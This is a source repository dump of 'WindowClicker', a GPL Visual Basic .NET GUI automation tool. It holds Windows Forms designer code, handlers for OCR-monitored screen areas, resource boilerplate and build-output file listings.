Me.Controls.Add(Me.chkNotAgain) 64 | Me.Controls.Add(Me.lblReminder) 65 | Me.Controls.Add(Me.btnOK) 66 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog 67 | Me.MaximizeBox = False 68 | Me.MinimizeBox = False 69 | Me.Name = "frmReminder" 70 | Me.Text = "Application Not Found" 71 | Me.ResumeLayout(False) 72 | Me.PerformLayout() 73 | 74 | End Sub 75 | Friend WithEvents chkNotAgain As System.Windows.Forms.CheckBox 76 | Friend WithEvents lblReminder As System.Windows.Forms.Label 77 | Friend WithEvents btnOK As System.Windows.Forms.Button 78 | End Class 79 | -------------------------------------------------------------------------------- /WindowLicker/frmReminder.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /WindowLicker/frmReminder.vb: -------------------------------------------------------------------------------- 1 | Public Class frmReminder 2 | 3 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 4 | ' Write user choice to registry 5 | '============================== 6 | 7 | If chkNotAgain.Checked Then 8 | OCRReminder = "0" 9 | SaveSetting("WindowClicker", "Settings", "OCRReminder", OCRReminder) 10 | End If 11 | 12 | Me.Hide() 13 | 14 | End Sub 15 | 16 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmTextFields.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmTextFields 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.btnOK = New System.Windows.Forms.Button() 26 | Me.btnDelete = New System.Windows.Forms.Button() 27 | Me.btnAdd = New System.Windows.Forms.Button() 28 | Me.lvTextFields = New System.Windows.Forms.ListView() 29 | Me.chTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 30 | Me.chFullTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 31 | Me.chPosition = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 32 | Me.SuspendLayout() 33 | ' 34 | 'btnOK 35 | ' 36 | Me.btnOK.Location = New System.Drawing.Point(484, 418) 37 | Me.btnOK.Name = "btnOK" 38 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 39 | Me.btnOK.TabIndex = 2 40 | Me.btnOK.Text = "OK" 41 | Me.btnOK.UseVisualStyleBackColor = True 42 | ' 43 | 'btnDelete 44 | ' 45 | Me.btnDelete.Location = New System.Drawing.Point(86, 418) 46 | Me.btnDelete.Name = "btnDelete" 47 | Me.btnDelete.Size = New System.Drawing.Size(75, 23) 48 | Me.btnDelete.TabIndex = 5 49 | Me.btnDelete.Text = "Delete" 50 | Me.btnDelete.UseVisualStyleBackColor = True 51 | ' 52 | 'btnAdd 53 | ' 54 | Me.btnAdd.Location = New System.Drawing.Point(5, 418) 55 | Me.btnAdd.Name = "btnAdd" 56 | Me.btnAdd.Size = New System.Drawing.Size(75, 23) 57 | Me.btnAdd.TabIndex = 4 58 | Me.btnAdd.Text = "Add..." 59 | Me.btnAdd.UseVisualStyleBackColor = True 60 | ' 61 | 'lvTextFields 62 | ' 63 | Me.lvTextFields.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chTitle, Me.chFullTitle, Me.chPosition}) 64 | Me.lvTextFields.Location = New System.Drawing.Point(5, 12) 65 | Me.lvTextFields.Name = "lvTextFields" 66 | Me.lvTextFields.Size = New System.Drawing.Size(554, 400) 67 | Me.lvTextFields.TabIndex = 6 68 | Me.lvTextFields.UseCompatibleStateImageBehavior = False 69 | Me.lvTextFields.View = System.Windows.Forms.View.Details 70 | ' 71 | 'chTitle 72 | ' 73 | Me.chTitle.Text = "ID" 74 | Me.chTitle.Width = 62 75 | ' 76 | 'chFullTitle 77 | ' 78 | Me.chFullTitle.Text = "Text" 79 | Me.chFullTitle.Width = 392 80 | ' 81 | 'chPosition 82 | ' 83 | Me.chPosition.Text = "Position" 84 | Me.chPosition.Width = 96 85 | ' 86 | 'frmTextFields 87 | ' 88 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 89 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 90 | Me.ClientSize = New System.Drawing.Size(564, 446) 91 | Me.Controls.Add(Me.lvTextFields) 92 | Me.Controls.Add(Me.btnDelete) 93 | Me.Controls.Add(Me.btnAdd) 94 | Me.Controls.Add(Me.btnOK) 95 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog 96 | Me.MaximizeBox = False 97 | Me.MinimizeBox = False 98 | Me.Name = "frmTextFields" 99 | Me.Text = "Monitored Text Fields" 100 | Me.ResumeLayout(False) 101 | 102 | End Sub 103 | Friend WithEvents btnOK As System.Windows.Forms.Button 104 | Friend WithEvents btnDelete As System.Windows.Forms.Button 105 | Friend WithEvents btnAdd As System.Windows.Forms.Button 106 | Friend WithEvents lvTextFields As System.Windows.Forms.ListView 107 | Friend WithEvents chTitle As System.Windows.Forms.ColumnHeader 108 | Friend WithEvents chFullTitle As System.Windows.Forms.ColumnHeader 109 | Friend WithEvents chPosition As System.Windows.Forms.ColumnHeader 110 | End Class 111 | -------------------------------------------------------------------------------- /WindowLicker/frmTextFields.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /WindowLicker/frmTextFields.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class frmTextFields 20 | ' Form to show currently monitored text fields, including add/delete functionality 21 | '================================================================================= 22 | 23 | 24 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 25 | ' Close form 26 | '============ 27 | 28 | '== Activate monitor if required == 29 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0)) 30 | 31 | frmMain.timTimer.Enabled = IsGuiMonitor 32 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor 33 | 34 | Me.Dispose() 35 | 36 | End Sub 37 | 38 | Private Sub frmTextFields_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 39 | ' Show the current list of monitored text areas 40 | '============================================== 41 | Dim lviItem As New ListViewItem 42 | 43 | '== Check that we have a valid OCR application == 44 | 45 | 46 | trTextReader.Compare = False 47 | 48 | '== Populate listview == 49 | For Each deItem As TextArea In frmMain.ScreenSnips.Values 50 | lviItem.Name = deItem.ID 51 | lviItem.Text = deItem.ID 52 | lviItem.SubItems.Add(deItem.ClippedText) 53 | lviItem.SubItems.Add(deItem.ScreenArea.Left.ToString & ", " & deItem.ScreenArea.Top.ToString) 54 | Next 55 | 56 | End Sub 57 | 58 | Private Sub btnAdd_Click(sender As System.Object, e As System.EventArgs) Handles btnAdd.Click 59 | ' Add a new screen area and OCR any text 60 | '======================================= 61 | Dim intOriginalCount As Integer 62 | Dim lviItem As New ListViewItem 63 | 64 | 65 | '== Get number of items prior to addition == 66 | intOriginalCount = frmMain.SnipCount 67 | 68 | '== Get new text area == 69 | frmMain.AddTextArea() 70 | 71 | '== Only proceed if there's something to add == 72 | If frmMain.SnipCount > intOriginalCount Then 73 | 74 | End If 75 | 76 | End Sub 77 | 78 | Private Sub btnDelete_Click(sender As System.Object, e As System.EventArgs) Handles btnDelete.Click 79 | ' Delete selected area from list view and from list of snippets 80 | '============================================================== 81 | Dim intOriginalCount As Integer 82 | Dim intIndex As Integer = 1 83 | Dim blnEmptySlot As Boolean = False 84 | 85 | Dim taTextArea As TextArea = Nothing 86 | Dim rctRect As New Rectangle 87 | Dim imgNewImage As Image = Nothing 88 | 89 | 90 | '== Do not proceed if there's nothing to delete == 91 | If lvTextFields.SelectedItems.Count = 0 Or frmMain.SnipCount < 1 Then Exit Sub 92 | 93 | 94 | '== Get number of items prior to deletion == 95 | intOriginalCount = frmMain.SnipCount 96 | 97 | '== Delete items from dictionary and listview == 98 | For Each lviItem As ListViewItem In lvTextFields.SelectedItems 99 | frmMain.ScreenSnips.Remove(lviItem.Name) 100 | lviItem.Remove() 101 | Next 102 | 103 | '== Loop through snip dictionary and update indices == 104 | Do While intIndex <= intOriginalCount 105 | 106 | If blnEmptySlot And frmMain.ScreenSnips.ContainsKey(intIndex) Then 107 | 108 | '== If previously empty slot was encountered thenj this item must be moved == 109 | blnEmptySlot = False 110 | 111 | '== Copy current item details to new item == 112 | taTextArea.ScreenArea = frmMain.ScreenSnips.Item(intIndex).ScreenArea 113 | taTextArea.SelectedImage = frmMain.ScreenSnips.Item(intIndex).SelectedImage 114 | taTextArea.ClippedText = frmMain.ScreenSnips.Item(intIndex).ClippedText 115 | taTextArea.ImageFile = frmMain.ScreenSnips.Item(intIndex).ImageFile 116 | 117 | '== Update dictionary by moving item to previous vacant slot == 118 | frmMain.ScreenSnips.Add(taTextArea.ID, taTextArea) 119 | frmMain.ScreenSnips.Remove(intIndex) 120 | 121 | ElseIf Not frmMain.ScreenSnips.ContainsKey(intIndex) Then 122 | '== Prepare new item ready to hold details from next non-vacant slot == 123 | blnEmptySlot = True 124 | taTextArea = New TextArea(intIndex, rctRect, imgNewImage) 125 | End If 126 | Loop 127 | 128 | frmMain.SnipCount = frmMain.ScreenSnips.Count 129 | 130 | End Sub 131 | 132 | End Class -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.Resources.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.exe -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.frmAbout.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmAbout.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.frmLoopEvent.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmLoopEvent.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.frmMain.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmMain.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.frmOptions.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmOptions.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.frmProperties.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmProperties.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.pdb -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmAbout.resources 2 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmMain.resources 3 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.Resources.resources 4 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.vbproj.GenerateResource.Cache 5 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.exe 6 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.pdb 7 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.xml 8 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.exe 9 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.xml 10 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.pdb 11 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmLoopEvent.resources 12 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmOptions.resources 13 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmProperties.resources 14 | -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.vbproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.vbproj.GenerateResource.Cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowClicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowClicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.Resources.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.exe -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.frmMain.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.frmMain.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.pdb -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.frmMain.resources 2 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.Resources.resources 3 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.vbproj.GenerateResource.Cache 4 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.exe 5 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.pdb 6 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.xml 7 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.exe 8 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.xml 9 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.pdb 10 | -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.vbproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.vbproj.GenerateResource.Cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Debug/WindowLicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowLicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/TempPE/My Project.Resources.Designer.vb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/TempPE/My Project.Resources.Designer.vb.dll -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.Resources.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.exe -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmAbout.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmAbout.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmAddWindow.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmAddWindow.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmCurrentWindows.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmCurrentWindows.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmLoopEvent.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmLoopEvent.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmMain.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmMain.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmNewWindows.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmNewWindows.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmOptions.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmOptions.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmProperties.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmProperties.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmReminder.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmReminder.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.frmTextFields.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmTextFields.resources -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.pdb -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.exe 2 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.pdb 3 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.xml 4 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmAbout.resources 5 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmLoopEvent.resources 6 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmMain.resources 7 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmOptions.resources 8 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmProperties.resources 9 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.Resources.resources 10 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.vbproj.GenerateResource.Cache 11 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.exe 12 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.xml 13 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.pdb 14 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmAddWindow.resources 15 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmCurrentWindows.resources 16 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmNewWindows.resources 17 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmTextFields.resources 18 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmReminder.resources 19 | -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.vbproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.vbproj.GenerateResource.Cache -------------------------------------------------------------------------------- /WindowLicker/obj/x86/Release/WindowClicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowClicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/resources/CurrentWindows/AppWindowHS.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/AppWindowHS.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/CurrentWindows/Computer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/Computer.png -------------------------------------------------------------------------------- 